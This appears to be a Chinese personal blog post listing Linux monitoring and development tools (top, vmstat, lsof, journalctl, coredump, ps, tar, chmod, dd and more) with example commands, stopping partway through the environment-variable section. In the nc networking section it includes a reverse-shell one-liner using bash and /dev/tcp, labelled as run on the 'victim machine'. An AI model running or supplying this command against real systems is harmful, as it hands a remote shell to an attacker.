• 主页
  • 归档
Articles Change The World About me

  • 主页
  • 归档

Linux内核开发-开发工具

2018-10-20 阅读量 194

0x00 引言

  Linux内核开发所用到的工具。

0x01 Vim

  想用终端开发软件的程序员都会选择Vim,使用方法参考菜鸟教程。

0x02 Linux系统运维常用工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1 top
1.1 系统运行时间和平均负载
1.2 进程状态
1.3 CPU状态
1.4 内存使用
1.5 各进程的状态监控
2 free
3 vmstat
4 slabtop
5 pmap
6 dmesg
7 lsof
8 ulimit
9 pstack

1、top
  除了 top ,还可以使用 htop 命令,但是需要安装。
  top命令经常用来监控Linux的系统状况,比如cpu、内存的使用,命令如下:

1
2
3
4
5
6
7
8
$ top

# us - 用户空间占用CPU百分比
# sy - 内核空间占用CPU百分比
# ni - 改变过优先级的进程占用CPU百分比
# id - 空闲CPU百分比

# 切换内存占用显示单位的快捷键 Shift + E

1.1、系统运行时间和平均负载

  • top:当前时间
  • up:系统已运行的时间
  • user:当前登录用户的数量
  • load average:相应最近5、10和15分钟内的平均负载,每隔5秒钟检查一次活跃的进程数。

1.2、进程状态
  按”t”切换显示状态。

  • total:总共进程数
  • running:运行中进程
  • sleeping:休眠中进程
  • stopped:停止中进程
  • zombie:僵尸进程

1.3、CPU状态
  按”1”显示所有CPU状态。

  • us / user: 用户空间占用CPU的百分比
  • sy / system: 内核空间占用CPU的百分比
  • ni / niced:改变过优先级的进程占用CPU的百分比
  • id:空闲CPU百分比
  • wa / IO wait: IO等待占用CPU的百分比
  • hi:处理硬件中断占用CPU的百分比
  • si: 处理软件中断占用CPU的百分比
  • st:这个虚拟机被hypervisor偷去时间占用CPU的百分比(译注:如果当前处于一个hypervisor下的vm,实际上hypervisor也是要消耗一部分CPU处理时间的)。

1.4、内存使用
  按”m”切换显示状态。
内存区-Mem

  • total:物理内存总量
  • used:使用中的内存总量
  • free:空闲内存总量
  • buffers/cache:缓存的内存量

交换分区-Swap

  • total:交换区总量
  • used:使用的交换区总量
  • free:空闲交换区总量
  • avail Mem:缓冲的交换区总量

1.5、各进程的状态监控
  按”f”可添加需要监控的状态变量,按”M”可按各进程内存占有百分比降序排列,按”P”可按各进程CPU占有百分比降序排列。

  • PID:进程ID,进程的唯一标识符
  • USER:进程所有者的实际用户名。
  • PR:进程的调度优先级。这个字段的一些值是’rt’。这意味这这些进程运行在实时态。
  • NI:进程的nice值(优先级)。越小的值意味着越高的优先级。负值表示高优先级,正值表示低优先级
  • VIRT:进程使用的虚拟内存。进程使用的虚拟内存总量,单位kb。VIRT=SWAP+RES
  • RES:驻留内存大小。驻留内存是任务使用的非交换物理内存大小。进程使用的、未被换出的物理内存大小,单位kb。RES=CODE+DATA
  • SHR:SHR是进程使用的共享内存。共享内存大小,单位kb
  • S:这个是进程的状态。它有以下不同的值:
    • D:不可中断的睡眠态。
    • R:运行态
    • S:睡眠态
    • T:被跟踪或已停止
    • Z:僵尸态
  • %CPU:自从上一次更新时到现在任务所使用的CPU时间百分比。
  • %MEM:进程使用的可用物理内存百分比。
  • TIME+:任务启动后到现在所使用的全部CPU时间,精确到百分之一秒。
  • COMMAND:运行进程所使用的命令。进程名称(命令名/命令行)

2、free
  free 命令显示系统内存的使用情况,包括物理内存、交换内存(swap)和内核缓冲区内存,命令如下:

1
2
3
4
5
6
# 最直接
free
# 更友好的输出结果
free -h
# 指定3s不间断更新
free -h -s 3
  • Mem行:是内存的使用情况。
  • Swap行:是交换空间的使用情况。
  • total列:显示系统总的可用物理内存和交换空间大小。
  • used列:显示已经被使用的物理内存和交换空间。
  • free列:显示还有多少物理内存和交换空间可用使用。
  • shared列:显示被共享使用的物理内存大小。
  • buff/cache列:显示被 buffer 和 cache 使用的物理内存大小。
  • available列:显示还可以被应用程序使用的物理内存大小。

3、vmstat
  vmstat命令可对操作系统的虚拟内存、进程、CPU活动进行监控,命令如下:

1
2
# 时间间隔2s,采样10次
vmstat 2 10

进程-Procs

  • r: 运行队列中进程数量
  • b: 等待IO的进程数量

内存-Memory

  • swpd: 使用虚拟内存大小
  • free: 可用内存大小
  • buff: 用作缓冲的内存大小
  • cache: 用作缓存的内存大小

交换分区-Swap

  • si: 每秒从交换区写到内存的大小
  • so: 每秒写入交换区的内存大小

IO

  • in: 每秒中断数,包括时钟中断。【interrupt】
  • cs: 每秒上下文切换数。【count/second】

CPU

  • us: 用户进程执行时间(user time)
  • sy: 系统进程执行时间(system time)
  • id: 空闲时间(包括IO等待时间),中央处理器的空闲时间 。以百分比表示。
  • wa: 等待IO时间

4、slabtop
  Linux内核需要为临时对象如任务或者设备结构和节点分配内存,缓存分配器管理着这些类型对象的缓存。现代Linux内核部署了该缓存分配器以持有缓存,称之为片。不同类型的片缓存由片分配器维护。本文集中讨论slabtop命令,该命令显示了实时内核片缓存信息。

1
2
# slabtop排序方式设置为最常用的cache size
slabtop -sc

5、pmap
  pmap命令用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具,这里自己写个代码来测试该工具:

1
2
3
4
5
6
7
8
9
// 编译具有如下代码的test.cpp文件
#include <stdio.h>
#include <memory.h>
int main() {
char *buf;
buf = (char *)malloc(10 * sizeof(char));
memset(buf, 0x55, 10 * sizeof(char));
while(1);
}

  编译完成后,使用如下命令运行:

1
2
3
4
# 在后台执行test程序
./test &
# 记录下后台运行时的程序PID,并使pmap工具查看
pmap "程序PID"

6、dmesg
  dmesg命令用于显示开机信息。

1
2
# "-T"代表log打印出时间,"-d"代表log打印出两条指令之间的差值
dmesg -T -d

7、lsof
  lsof用于查看进程打开的文件或打开文件的进程:

1
2
3
4
5
lsof -p 1359    # 查看某个PID进程打开的所有文件
lsof -u root # 查看某个用户打开的所有文件
lsof -u ^root # 查看不是某个用户打开的文件,也就是取反,在用户名前加^
lsof /dev/null # 查看某个文件被哪些进程打开使用
lsof -i:22 # 查看某个端口的使用情况

8、ulimit
  ulimit用于为由它生成的 shell进程及其子进程的资源使用设置限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ulimit -a
`
core file size (blocks, -c) 0 # 关闭coredump文件输出
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 15529
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024 # 当前进程只能打开1024个文件
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 15529
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
`

  排查某个进程文件符占用的方法:

1
2
3
4
5
6
7
8
9
# 查看每个进程的文件符上限
$ ulimit -n
# 也可以单独查看进程的文件符占用上限
$ cat /proc/'PID'/limits

# 查看指定PID进程的文件符占用情况(包含加载的动态链接库和当前工作目录)
$ lsof -p 'PID' |wc -l
# 查看指定PID进程的文件符占用情况
$ ll /proc/'PID'/fd

9、pstack
  排查CPU占用高的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看高CPU占用的进程PID
$ ps -ef

# 查看该进程中CPU占用最高的线程
# P: 以 CPU 的使用资源排序显示;
# M: 以 Memory 的使用资源排序显示;
# N: 以 PID 来排序喔!
# T: 由该 Process 使用的 CPU 时间累积 (TIME+) 排序
# R: 键可以将当前的排序倒转
$ top -Hp 'PID'

# 查看该线程调用栈
$ pstack '线程PID'

0x03 Linux系统开发常用工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
1 日志读取-journalctl
2 进程服务管理-systemctl/service
3 核心转储-coredump
4 进程查询-ps + grep/pgrep/pidof/pstree
5 杀死进程-kill/killall/pkill
6 网络通信-ping/nc/tracert
7 硬件信息-dmidecode/uname + lspci
8 文件操作-cat/less/more/mv/cp/rm/chmod/ls+file+stat+du/grep/echo/find/locate/which/whereis/sed/ln
9 帮助指令-man
10 屏保设置-xset
11 超级用户-sudo/pkexec
12 文件内容操作-tail/wc/sort/uniq/paste
13 压缩文件-zip/rar/tar/xz
14 挂载-mount
15 分区信息-df/fdisk/lsblk/blkid
16 权限更改-chmod/chown/chroot/chattr/getfacl+setfacl
17 用户管理-useradd/userdel/usermod/groups/passwd
18 二进制文件分析-file/ldd/ltrace/strace/hexdump/strings/readelf/nm
19 日志保存-sosreport
20 远程文件操作-scp/rsync
21 读取转换数据-dd
22 历史终端命令-history
23 终端代理-proxychains
24 打开文件-xdg-open
25 用户信息-who/id/loginctl/hostnamectl
26 密码过期设置-chage
27 环境变量-export/locale/env
28 编辑器-gedit/dedit
29 反汇编-objdump/strings/nm
30 电源指令-poweroff/shutdown/reboot/Hibernate/suspend/logout/rtcwake
31 键鼠输入事件监听-libinput
32 窗口查看进程-xprop
33 多屏查询-xrandr
34 输入输出重定向
35 ssh免密码登录
36 计划任务-cron
37 网络配置-nmcli/ifconfig/netstat/route
38 驱动管理-insmod/rmmod/lsmod
39 命令行运行时间-time
40 md5校验 - md5sum
41 内建操作 - type/enable
42 设置别名 - alias
43 文件加密 - tar + openssl + dd
44 文本处理 - awk
45 去除符号信息 - strip
46 动态库配置 - ldconfig
47 内核审计管理 - auditctl
48 防火墙管理 - iptables
49 进程间通信信息 - ipcs
50 远程端口查询 - telnet
51 换行符格式转换 - dos2unix/unix2dos
52 修改二进制rpath - chrpath/patchelf
53 数据包截获 - tcpdump
54 不挂起 - nohup

1、日志读取-journalctl
  在Systemd出现之前,Linux系统及各应用的日志都是分别管理的,Systemd开始统一管理了所有Unit的启动日志,这样带来的好处就是可以只用一个 journalctl命令,查看所有内核和应用的日志。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -----1、查看所有日志-----
sudo journalctl > "文件名"
# 查看本次启动的所有日志也可以使用
sudo journalctl -b > "文件名"

# -----2、查看指定时间内的日志-----
# --since代表某段时间之后,--until代表某段时间之前
journalctl --since="2018-09-21 10:21:00" --until="2018-09-21 10:22:00"

# -----3、实时查看并写入日志-----
journalctl -f |& tee -a '*.log'

# -----4、在程序中加入日志打印功能-----
# include <unistd.h> //linux中的一些重要函数
system("echo `命令行内容` > '日志存放目录'") //反引号内为需要执行的命令,然后用 > 输出日志到指定目录

# -----5、查看指定单元日志-----
# 查看systemd-logind日志
journalctl -u systemd-logind

2、进程服务管理-systemctl/service
  systemd对应的进程管理命令是systemctl。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -----1、进程开启/关闭/重启-----
systemctl start "进程名"
systemctl stop "进程名"
systemctl restart "进程名"

# -----2、进程开机自启动-----
# systemctl可以处理/etc/init.d
systemctl enable "进程名"

# -----3、进程状态查看-----
systemctl status "进程名"

# -----4、进程/服务屏蔽(永远不能启动)-----
# 屏蔽
systemctl mask "进程名"
# 取消屏蔽
systemctl unmask "进程名"

  服务管理命令使用的是service。

1
2
3
4
# 如果要开启ssh服务
service ssh start
# 或者
systemctl start ssh

3、核心转储-coredump
  当程序运行的过程中异常终止或崩溃,操作系统会将程序当时的内存状态记录下来,保存在一个文件中,这种行为就叫做Core Dump(中文有的翻译成“核心转储”)。我们可以认为 core dump 是“内存快照”,但实际上,除了内存信息之外,还有些关键的程序运行状态也会同时 dump 下来,例如寄存器信息(包括程序指针、栈指针等)、内存管理信息、其他处理器和操作系统状态和信息。core dump 对于编程人员诊断和调试程序是非常有帮助的,因为对于有些程序错误是很难重现的,例如指针异常,而 core dump 文件可以再现程序出错时的情景。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 安装
sudo apt install systemd-coredump

# -----1、调整cmake为调试模式-----
# 纯调试模式
set(CMAKE_BUILD_TYPE Debug)
# 或者半调试模式
set(CMAKE_BUILD_TYPE RelWithDebInfo)

# -----2、开启coredump-----
# 查看是否开启coredump,返回0则表示没开启
ulimit -c
# 开启coredump
ulimit -c unlimited

# -----3、修改core生成路径-----
# proc/sys/kernel/core_pattern 可以控制corefile保存位置和文件名格式
# corefile的生成路径文件夹
mkdir /corefile
## 控制所产生的core文件存放到/corefile目录下,产生的文件名为core-命令名-pid-时间戳
echo "/corefile/core-%e%-p%-%t" > /proc/sys/kernel/core_pattern

# -----4、调试模式下生成corefile-----
gdb "可执行程序路径" "corefile路径"

# -----**5、常用调试手段-----
# 查看内存溢出的进程历史
coredumpctl list
# debug目标PID进程
coredumpctl debug "进程PID"
bt # gdb列出调用栈

4 进程查询-ps + grep/pgrep/pidof/pstree
  ps指令能显示进程的消息,grep是Linux下的文本过滤工具,它俩是个组合工具。我们经常用如下命令查找进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 查看当前终端的PID
ps

# 查看所有终端(tty)与远程终端(pty)的PID
ps -a

# 查看指定终端(tty或pty)的PID
ps -t 'N'

# 首先可以用ps直接查询PID对应的进程
ps 'PID号'
# 或者用ll去查看PID对应的进程
ll '/proc/PID号'

# 按时间查看系统启动以来运行的进程
ps -A -opid,stime,etime,args

# 查找所有进程,并过滤出有进程名字片段的所有进程
# "|"是管道命令。通常需要借助管道命令"|"多个命令的组合
# ------ ps -ef ------
# 是用标准的格式显示进程的
ps -ef | grep "进程名片段"

# 查看完整的进程调用链
ps -e -o pid,etime,%cpu,%mem,args --forest

# ------ ps aux ------
# 是用BSD的格式来显示
ps aux | grep "进程名片段"

# 如果觉得上述命令麻烦,可以使用两个更简介的写法
pgrep/pidof 'PID号'

# 还能使用pstree打印进程树
pstree

5、杀死进程-kill/killall/pkill

1
2
3
4
5
6
# kill能杀死指定的ID进程,需要在杀进程之前使用ps等命令再配合grep来查找进程
kill "参数" "进程ID"

# killall/pkill类似,用于杀死指定名字的进程
killall "参数" "进程名"
pkill "参数" "进程名"

6、网络通信-ping/nc/tracert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -----1、ping单个目标-----
# ping域名
ping www.baidu.com
# ping IP
ping 10.10.10.1

# -----2、ping多个目标-----
# %d :表示变量的意思
# (1,1,255):参数一代表起始值,参数二代表递增值,参数三代表末尾值。
for /L %d in(1,1,255) do ping 192.168.1.%d

# -----3、端口监听nc-----
# 实现一个最简单的反弹shell
# 攻击机器上执行
nc -lvp 2333
# 受害机器上执行
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

# -----4、跟踪数据包路由tracert-----
tracert 'ip地址'

7、硬件信息-dmidecode + lspci

1
2
3
4
5
6
7
8
# -----1、所有硬件信息-----
dmidecode –q
# 或者
uname -a

# -----2、显卡信息-----
lspci | grep -i vga # VGA设备
lspci | grep -i nvidia # NVIDIA设备

8、文件操作-cat/less/more/mv/cp/rm/chmod/ls+file+stat/grep/echo/find/locate/which/whereis/sed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# -----1、cat-----
# 用于连接文件并打印到标准输出
cat "文件路径"

# -----2、less-----
# 用于连接文件并打印到标准输出
less "文件路径"

# -----3、more-----
# 用于连接文件并打印到标准输出
more "文件路径"

# -----4、mv-----
# 将文件移动到目标路径
mv "文件路径" "目标路径"

# -----5、cp-----
# 将文件拷贝到目标路径
cp "文件路径" "目标路径"

# -----6、rm-----
# 删除文件
rm "文件路径"
# 删除文件夹
rm -R "文件夹路径"

# -----7、chmod-----
# 修改文件权限
chmod 777 "文件路径"
# 修改文件夹权限
chmod -R 777 "文件夹路径"

# -----8、ls+file+stat+du-----
# 显示当前目录下所有文件信息
ls
# 显示更详细的文件信息,包括隐藏文件
ls -lah
# 显示符合条件的文件信息
ls|grep "删选的字符串"

# 查看文件类型
file "文件路径"

# 查看详细的文件信息
stat "文件路径"

# 查看文件夹下各文件大小并排序(搜索结果以M为单位)
du -sm "文件夹路径" | sort -nr

# -----9、grep-----
# 查找某文件下包含某个字段的行号
# 举例:grep "data" *ts //查找当前目录下后缀为ts的文件中包含"data"字段的行号
grep "查询字段" '文件'

# 查找文件内容,并显示文件前后几行信息
grep -A 5 "查询字段" '文件' # 打印后5行
grep -B 5 "查询字段" '文件' # 打印前5行
grep -C 5 "查询字段" '文件' # 打印前后5行

# -----10、echo-----
# 打印出环境变量
echo $SHELL
# 打印自定义字符
echo "It is a test"

# -----11、find/locate/which-----
# *grep
# 遍历文件夹内的所有文件,寻找指定字符串,并将查询结果分割输出
grep -rn "happyexam" /usr/* | cut -d : -f 2 >/opt/findcode.txt

# find
# 打印目录路径下后缀名为 .c 的所有文件
find '目录路径' -name "*.c"
find '目录路径' -name "*name"
find '目录路径' -name "*name*"
find '目录路径' -name "name*"
# 将目前目录及其子目录下所有最近 20 天内更新过的文件列出
find . -ctime -20
# 将目前目录及其子目录下后缀名为 .py 且文件名中包含 'test' 的文件列出
find . -name '*.py' |grep test
# 将目前目录及其子目录下后缀名为 .py 且文件中包含某字符串的文件列出.'-n'代表显示行号
find . -name '*.py' |xargs grep -n "筛选字符串"
# 让终端不打印无权限查看的文件
find '目录路径' -name "*.c" 2 > /dev/null

# locate
# 更加方便的定位工具
# 安装
sudo apt install locate
# locate命令无法搜索当天所创建的文件,因此可用下面命令更新一次数据库
sudo updatedb
# 查找目标文件
locate '文件名'

# which
# 主要用来查找二进制文件位置
which '程序名'

# whereis
# 主要用来查找系统默认安装目录的二进制文件位置
whereis '程序名'

# -----12、sed-----
# 在文件的第4行新增一段内容
sed -e 4a\'新的内容' '文件目录'
# 数据的搜寻并替换
sed 's/要被取代的字串/新的字串/g'
# 如果要立即写入,则需加'-i'参数,不然sed命令只会在终端输出结果

# -----13、ln-----
# 软链接
# 为原文件创造一个新的指针,类似于Windows的快捷方式
# 注意!这边的路径最好都写绝对路径,不然链接不上
# ln -s /home/dev/cmake /usr/bin/
# 使用ls -lah /usr/bin/ |grep cmake可以查看到链接情况
ln -s '原文件路径' '快捷方式路径'

# 硬链接
# 硬链接文件完全等同于原文件,两个文件都指向相同物理地址
# 只有当删除文件的最后一个节点时,文件才能真正从磁盘消除
ln '原文件路径' '快捷方式路径'

9、帮助指令-man
man命令可查看指令帮助、配置文件帮助和编程帮助等信息

1
2
# 打印man指令信息
man man

10、屏保设置-xset

命令 功能
xset s off 禁用屏幕保护
xset s 3600 3600 设置空闲时间为1小时
xset -dpms 关闭 DPMS
xset s off -dpms 禁用 DPMS 并阻止屏幕进入空闲
xset dpms force on 立即打开屏幕
xset dpms force off 立即关闭屏幕
xset dpms force standby 强制屏幕进入待命状态
xset dpms force suspend 强制屏幕进入暂停状态
xset -q 查询xset状态

11、超级用户-sudo/pkexec
  root用户和非root用户正常执行命令时,使用的PATH配置文件为 /etc/environment

1
2
3
4
5
6
7
8
# -----1、sudo-----
# 非root用户,使用的PATH配置文件为 /etc/sudoers
sudo '命令'

# -----2、pkexec-----
# pkexec 也能以管理员身份运行指令,但不依赖于 /etc/sudoers
# 如果不小心修改了 /etc/sudoers 文件权限,会导致无法正常使用sudo指令。但可以用pkexec修改回权限
pkexec chomod 440 /etc/sudoers

12、文件内容操作-tail/wc/sort/uniq/paste
  tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 实时打印日志文件
tail -f '日志路径'

# 显示文件所有行数
wc -l '文件路径'

# 排序文件行并输出
# -r 以相反的顺序来排序
# -n依照数值的大小排序
# k是指按照那一列进行排序
# -t <分隔字符>指定排序时所用的栏位分隔字符。
sort -rnk 3 -t : /etc/passwd

# 在文件每行旁边显示该行重复次数并输出
uniq -c '文件路径'

# 将每个文件以列对列的方式合并
paste '文件路径1' '文件路径2'

13、压缩文件-zip/rar/tar/xz
zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ====== 压缩文件 ======
#将test.jpg和test.png压缩成一个zip包
zip test.zip test.jpg test.png
#将所有.jpg的文件压缩成一个zip包
zip test.zip *.jpg

# ====== 压缩目录 ======
#将文件夹test压缩成一个zip包
zip -r test.zip test

# ======解压缩 ======
#将test.zip中的所有文件解压出来
unzip test.zip
#把/home目录下面的mydata.zip解压到mydatabak目录里面
unzip mydata.zip -d mydatabak

rar

1
2
3
4
5
6
7
8
9
10
11
# ====== 压缩文件 ======
# 将test.jpg和test.png压缩成一个rar包
rar a test.rar test.jpg test.png
# 将所有.jpg的文件压缩成一个rar包
rar a test.rar *.jpg
# 将文件夹test压缩成一个rar包
rar a test.rar test

# ======解压缩 ======
# 将test.rar中的所有文件解压出来
unrar e test.rar

tar

1
2
3
4
5
6
7
8
9
10
11
12
# ====== 压缩文件 ======
# --- tar ---
tar -cvf xxx.tar '目录路径'
# --- tar.gz ---
#z参数表示gz压缩,v参数表示显示执行过程
tar -zcvf xxx.tar.gz '目录路径'

# ======解压缩 ======
# --- tar ---
tar -xvf xxx.tar
# --- tar.gz ---
tar -zxvf xxx.tar.gz

xz

1
2
3
4
5
6
7
8
9
10
11
12
13
# ====== 压缩文件 ======
# --- xz ---
xz -z '目录路径'
# --- tar.xz ---
# 用xz工具打包tar压缩包
xz -z xxx.tar

# ======解压缩 ======
# --- xz ---
xz -d xxx.xz
# --- tar.xz ---
xz -d xxx.tar.xz
tar -xvf xxx.tar

14、挂载-mount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ====== 查看所有挂载信息 ======
mount
# ====== 挂载 ======
# 最简单的挂载方式
mount /dev/hda1 /mnt
# 读写权限的挂载方式
# '-w' 相当于 '-o rw'
mount -w /dev/hda1 /mnt
# 重新挂载为可读写的方式
mount -o remount,rw /mnt
# Linux系统挂载局域网中Windows文件
# 先在文件夹的属性中开启共享文件夹
# 然后在Linux环境中新建需要挂载的文件夹
mount -t cifs -o username=,password=,rw //192.168.*.*/'共享文件夹名' /'挂载位置'
# ====== 取消挂载 ======
unmount /mnt

15、分区信息-df/fdisk/lsblk/blkid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ====== df ======
# 列出文件系统磁盘占用情况
df -h
# 列出每个硬盘分区的inode总数和已经使用的数量
df -i

# ====== fdisk ======
# 列出磁盘分区
fdisk -l

# ====== lsblk/blkid ======
# 列出所有可用块设备信息
# 还能看到对应磁盘的挂载点
lsblk
# 查看挂载的详细信息,能输出挂载UID
blkid

16、权限更改-chmod/chown/chroot/chattr/getfacl+setfacl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# 文件权限分类
读权限 r:允许查看文件内容,使用4表示
写权限 w:允许修改文件内容,使用2表示
可执行 x:允许运行程序,使用1表示
无权限 -:使用0表示

例如:
d rwx r-x r-x 意思是一个权限为 755 的目录
- rw- r-- r-- 意思是一个权限为 644 的文件

# ====== chmod ======
# 更改文件权限,语法为 'chmod abc file'
# 其中a,b,c各为一个数字,分别表示User、Group、及Other的权限:
# r=4,w=2,x=1
chmod 777 file

# 强制位u+s
# 任何用户执行被设置强制位的文件时,都能拥有该文件所有者的权限
# 例如一个二进制程序属于root,则uos用户执行该程序时,其具有root的权限
# 由于脚本文件拥有权限会有较大隐患,因此Linux只认可二进制程序的强制位
chmod u+s '文件路径'

# ====== chown ======
# 修改文件的拥有者与组
# 例如将文件 file1.txt 的拥有者设为 runoob,群体的使用者 runoobgroup :
chown runoob:runoobgroup file1.txt

# ====== chroot ======
# 改变根目录
chroot /mnt/ls

# ====== chattr ======
# 可修改文件/文件夹的"隐藏权限"
## i:如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据;如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件
## a:如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据;如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件
## u:设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录
## s:和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复
chattr +i '文件路径' # 设置文件不可删除,不可修改
chattr -i '文件路径' # 取消不可删除、不可修改的隐藏属性
lsattr '文件路径' # 查看隐藏属性

# ====== getfacl+setfacl ======
# 获取文件访问控制信息
getfacl '文件路径'

# setfacl 设置文件的acl
# -m 修改文件的acl
# -x 取消用户或组对文件的权限
setfacl –m u:用户名:权限 <文件名> # 设置某用户名的访问权限
setfacl –m g:组名:权限 <文件名> # 设置某个组的访问权限
setfacl –x u:用户名 <文件名> # 取消某用户名的访问权限
setfacl –x g:组名 <文件名> # 取消某个组的访问权限

17、用户管理-useradd/userdel/usermod/groups/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 创建一般用户
# '-m'新建用户主目录 '-d'设置新用户主目录
# '-g'设置新用户主组名
useradd -m -d '用户目录' -g '用户组' '用户名'

# 删除用户
userdel '用户名'

# 修改用户信息
# '-u'设置用户UID '-s'设置新用户的Shell
usermod -u 'UID(如2020)' -s 'Shell名(如/usr/sbin/nologin)' '用户名'

# 查看用户属组
groups '用户名'

# 查看用户信息
cat /etc/passwd

# 修改用户密码
# -d: 清空密码
passwd '用户名'

18、二进制文件分析-file/ldd/ltrace/strace/hexdump/strings/readelf/nm
  参考良许的文章,用 /bin/pwd 程序为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -----1、file-----
# 首先使用 file 命令来分析文件的类型
file /bin/pwd

# -----2、ldd-----
# ldd 命令可以用于分析可执行文件的依赖
ldd /bin/pwd

# -----3、ltrace-----
# ltrace的功能是能够跟踪进程的库函数调用
ltrace /bin/pwd

# -----4、strace-----
# strace 命令可以用于追踪程序运行过程中的系统调用及信号
strace -f /bin/pwd
strace -p 'pid号'

# -----5、hexdump-----
# hexdump 命令用来查看二进制文件的 16 进制编码
# 但实际它能查看任何文件,而不限于二进制文件
hexdump -C /bin/pwd | head

# -----6、strings-----
# strings 命令可以用来打印二进制文件中可显示的字符
strings /bin/pwd | head
strings /bin/pwd |grep GLIBC # 查看pwd进程依赖的glibc版本

# -----7、readelf-----
# 一般用于查看ELF格式的文件信息,可以用来都RPATH
readelf -d '可执行程序路径'

# 检查生成的库是否有-fPIC功能
readelf --relocs librabbitmq.a | egrep '(GOT|PLT|JU?MP_SLOT)'
readelf -d librabbitmq.so | grep REL

# 查看是64(32)位库
readelf -h librabbitmq.a

# -----8、nm-----
# 可以列举出该目标中定义的符合要求的符号,包括外部引入的、内部定义的、动态的...
# 也可以添加参数使nm同时打印行号、文件名等相关信息。
nm -D '二进制或链接库路径'

19、日志保存-sosreport
  快速保存所有日志的工具

1
2
3
4
5
# 安装
sudo apt install sosreport -y

# 使用,执行下面命令后,一直回车
sudo sosreport

20、远程文件操作-scp/rsync
  scp用来做全量备份,每次都是完全拷贝,效率低下。rsync用来做增量备份,每次仅拷贝发生变化的文件,效率高。

1
2
3
4
5
6
7
8
9
# scp传输本地文件到目标主机文件目录
scp '本地文件目录' root@172.16.1.31:'目标文件目录'
# scp传输目标主机文件目录到本地文件目录
scp root@172.16.1.31:'目标文件目录' '本地文件目录'

# rsync传输本地文件到目标主机文件目录
rsync -avz '本地文件目录' root@172.16.1.31:'目标文件目录'
# rsync传输目标主机文件目录到本地文件目录
rsync -avz root@172.16.1.31:'目标文件目录' '本地文件目录'

21、读取转换数据-dd
  dd可从标准输入或文件中读取数据,根据指定的格式来转换数据,在输出到文件、设备或标准输出。比较典型的作用就是制作系统U盘:

1
2
3
4
5
6
7
8
9
10
11
# dd制作系统U盘,bs参数代表同时设置读入/输出的块大小
dd if='.img镜像文件路径' of='U盘路径' bs=1440k

# dd还能磁盘克隆
dd if=/dev/sda of=/dev/sdb

# dd制作镜像
dd if=/dev/sda of=~/disk.img

# 观察dd制作镜像进度
watch -n 5 killall -USR1 dd

22、历史终端命令-history
  能够列出终端使用的历史命令记录。

1
2
# 列出历史3条命令
histoty -3

23、终端代理-proxychains

24、打开文件-xdg-open

1
xdg-open '文件路径'

25、用户信息-who/id/loginctl/hostnamectl

1
2
3
4
5
6
7
8
9
10
11
12
# who查看所有tty上的用户
who
w

# id查看当前用户id
id

# loginctl查看所有用户
loginctl -a

# hostnamectl可用于修改用户名相关内容
hostnamectl set-hostname '用户名'

26、密码过期设置-chage

1
2
3
4
5
6
7
8
# 用法  chage [选项] 用户名
# -m:密码可更改的最小天数。为零时代表任何时候都可以更改密码。
# -M:密码保持有效的最大天数。
# -w:用户密码到期前,提前收到警告信息的天数。
# -E:帐号到期的日期。过了这天,此帐号将不可用。
# -d:上一次更改的日期。
# -i:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。
# -l:例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。

27、环境变量-export/locale/env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# export
# 该命令用于设置或显示环境变量。但是export 的效力仅限于该次登陆操作
# 如果想每次登录都拥有该环境变量,则需在对应配置文件内添加上述命令,配置文件作用看上面描述
export PATH="$PATH:/opt/bin"

# locale
